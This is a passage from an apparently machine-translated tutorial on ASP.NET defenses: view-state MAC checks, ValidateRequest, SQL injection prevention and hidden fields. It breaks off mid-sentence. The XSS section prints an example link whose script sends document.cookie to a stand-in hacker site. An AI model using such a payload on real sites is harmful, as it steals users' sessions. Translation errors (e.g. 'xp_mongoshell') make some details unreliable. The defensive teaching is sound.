Use ASP. NET's built-in functions to defend against Web attacks (2)

6. EnableViewStateMac
View status is used to maintain the control status between two consecutive requests on the same page. By default, the view status is base64-encoded and a hash value signature is used to prevent tampering. View status cannot be tampered with unless you change the default page settings. If attackers modify the view status and even use the correct algorithm to regenerate the view status, ASP. NET will capture these attempts and cause exceptions. View status tampering is not necessarily harmful. Although it modifies the status of the server control, it may become a tool that causes serious infections. Therefore, it is important not to remove the computer authentication code (MAC) Cross-check by default. See figure 2.

Figure 2. factors that make the view State difficult to tamper with when EnableViewStateMac is enabled

When MAC check is enabled (default), a hash value is appended to the serialized view status. This value uses some server-side values and view State user keys (if any) generated. When the view status is returned, the new server value is used to recalculate the hash value and compare it with the stored value. If the two match, the request is allowed; otherwise, an exception is thrown. Even if the hacker has the ability to crack and regenerate the view state, he/she still needs to know the value stored on the server to obtain a valid hash. Specifically, the hacker needs to know the computer key referenced in the machine. config item.

By default, items are automatically generated and physically stored in Windows Local Security Authority (LSA. Only when the Web field (in this case, the computer key in view State must be the same on all computers), you should specify it as a plaintext in the machine. config file.

View status MAC check is controlled by the @ Page command attribute named EnableViewStateMac. As mentioned above, it is set to true by default. Never disable it. Otherwise, the view State may be tampered with by one click attack, and the probability of success is high.

VII. ValidateRequest
Cross-site scripting (XSS) is an old friend of many experienced Web developers. It appeared around 1999. To put it simply, XSS uses vulnerabilities in the Code to introduce the executable code of hackers into the browser session of another user. If the injected code is executed, the injected code can perform a variety of operations-obtain the Cookie and upload a copy to the Web site controlled by the hacker, monitor the user's Web session and forward data, modify the behavior and appearance of a hacked page to provide incorrect information and even make itself persistent. This way, the fraudulent code will run again when the user returns the page next time. Read the basics of XSS attacks in the TechNet Article Cross-site Scripting Overview.

Which vulnerabilities in the Code cause XSS attacks to become possible?

XSS uses Web applications that dynamically generate HTML pages, but do not verify the input of the displayed pages. The input here refers to querying the content of strings, cookies, and form fields. If the content appears on the network without proper performance check, hackers may operate on it to execute malicious scripts in the client browser. (The one-click attack mentioned above is a new form of XSS .) A typical XSS attack causes unsuspecting users to click a tempting link, which contains the escape script code. The fraud code will be sent to a page with a vulnerability that will output it without any doubt. The following is an example of a possible situation:

<A href = "http://www.vulnerableserver.com/brokenpage.aspx? Name =

<Script> document. location. replace (

Http://www.hackersite.com/HackerPage.aspx?

Cookie = + documents. cookie );

</Script> "> Click to claim your prize </a>

 

When you click a seemingly safe link, some script code is passed to the vulnerable page. The code first obtains all cookies on your computer, then they are sent to the hacker's Web site.

Please note that XSS is not a vendor-specific issue, so it is not always possible to exploit the vulnerability in Internet Explorer. It affects all Web servers and browsers on the market. It should be noted that no patch can fix this problem. You can protect your pages from XSS attacks by applying specific measures and reasonable coding practices. In addition, the attacker does not need to click a link to initiate an attack.

To defend against XSS, you must fundamentally determine which inputs are valid and then reject all other inputs. You can read a detailed checklist against XSS attacks in a book that belongs to the mandatory scope of Microsoft-Writing Secure Code written by Michael Howard and David LeBlanc. In particular, I suggest you carefully read chapter 13th.

The main way to prevent sinister XSS attacks is to add a well-designed and effective validation layer to your input (any type of input data. For example, in some cases, even the original harmless color (RGB) will bring uncontrolled scripts directly into the page.

In ASP. NET 1.1, after the ValidateRequest attribute on the @ Page command is opened, check to make sure that the user has not sent a potentially risky HTML tag in the query string, Cookie, or form field. If this situation is detected, an exception is thrown and the request is aborted. This attribute is enabled by default. You do not need to perform any operation to protect it. If you want to allow HTML markup to pass, you must manually disable this attribute.

<% @ Page ValidateRequest = "false" %>

ValidateRequest is not a panacea and cannot replace an effective verification layer. Read this section to obtain a large amount of valuable information about the basic principles of this function. It basically captures some potentially harmful sequences by applying a regular expression.

Note that the ValidateRequest feature is inherently defective. Therefore, you need to apply a patch to work as expected. Such important information is often not noticed. Strangely, I found that one of my computers is still affected by this vulnerability. Try it!

There is no reason to disable ValidateRequest. You can disable it, but there must be a good reason; one of the reasons may be that you need to be able to post some HTML to the site for better format setting options. In this case, you should limit the number of allowed HTML tags (<pre>, <B>, <I>, <p>, <br>,

The following are some other tips to help prevent ASP. NET from XSS attacks:

1. Use HttpUtility. HtmlEncode to convert dangerous symbols into their HTML representation.

2. Use double quotation marks instead of single quotation marks because HTML encoding only escapes double quotation marks.

3. Force a code page to limit the number of characters that can be used.

In short, do not fully trust the ValidateRequest attribute, and do not be too lazy. Take some time to fundamentally understand security threats such as XSS and plan a key-point-centric defense strategy: all user input is dangerous.

 

8. Database
SQL injection is another widely known attack type. It uses unfiltered user input to form database commands. If the application happily creates an SQL command string by typing content in the form field, you are exposed to this risk: Malicious users only need to access this page and enter fraud parameters, you can modify the nature of the query. You can learn more about SQL Injection here.

There are many ways to prevent SQL injection attacks. The following describes the most common techniques.

1. Make sure that the user input is of the appropriate type and follows the expected pattern (ZIP code, ID card number, email, etc ). If you expect a number from the text box, block this request when the user inputs content that cannot be converted to a number.

2. It is better to use stored procedures for parameterized queries.

3. Use SQL Server permissions to restrict operations that individual users can perform on the database. For example, you may need to disable xp_mongoshell or restrict the operation permission to the Administrator only.

Using Stored Procedures can significantly reduce the possibility of such attacks. In fact, with stored procedures, you do not need to write SQL strings dynamically. In addition, SQL Server verifies that all parameters have the specified type. Although these are not security tips alone, adding verification will be enough to improve security.

More importantly, ensure that only authorized users can perform operations that may have serious consequences, such as deleting tables. This requires careful design of the application's intermediate layer. Good skills (not just for security) should focus on roles. Users should be grouped into various roles and each role should be defined with a set of accounts with the minimum permissions.

A few weeks ago, the Wintellect Web site was attacked by a complicated SQL injection attack. The hacker tried to create and start an FTP script to download a possibly malicious executable program. Fortunately, this attack failed. Or is it because of strong user authentication, the use of stored procedures and the use of SQL Server permissions, resulting in an attack failure?

All in all, you should follow these guidelines to avoid injection of harmful SQL code:

1. Run with as few permissions as possible and never execute code as "sa.

2. Restrict Access To built-in stored procedures.

3. SQL parameterized query is preferred.

4. Statements are generated without concatenating strings, and database errors are not displayed.

9. Hide a domain
In traditional ASP, hiding a domain is the only way to keep data between requests. You need to package all the data retrieved in the next request to the hidden <input> Field and perform the return operation. What if someone modifies the value stored in this domain on the client? As long as the text is in plain text, the server environment cannot detect this situation. In ASP. NET, The ViewState attribute of pages and controls has two purposes. On the one hand, ViewState is a method for cross-request persistence; on the other hand, ViewState enables you to store custom values in protected and tamper-resistant hidden domains.

As shown in 2, the view status is appended with a hash value. For each request, this value is checked to check whether any tampering has occurred. Except in a few cases, there is no reason to use hidden domains in ASP. NET. View status can implement the same functions in a much safer way. As mentioned above, storing sensitive values (such as price or credit card details) in plaintext hidden domains is equivalent to opening the door to hackers; view status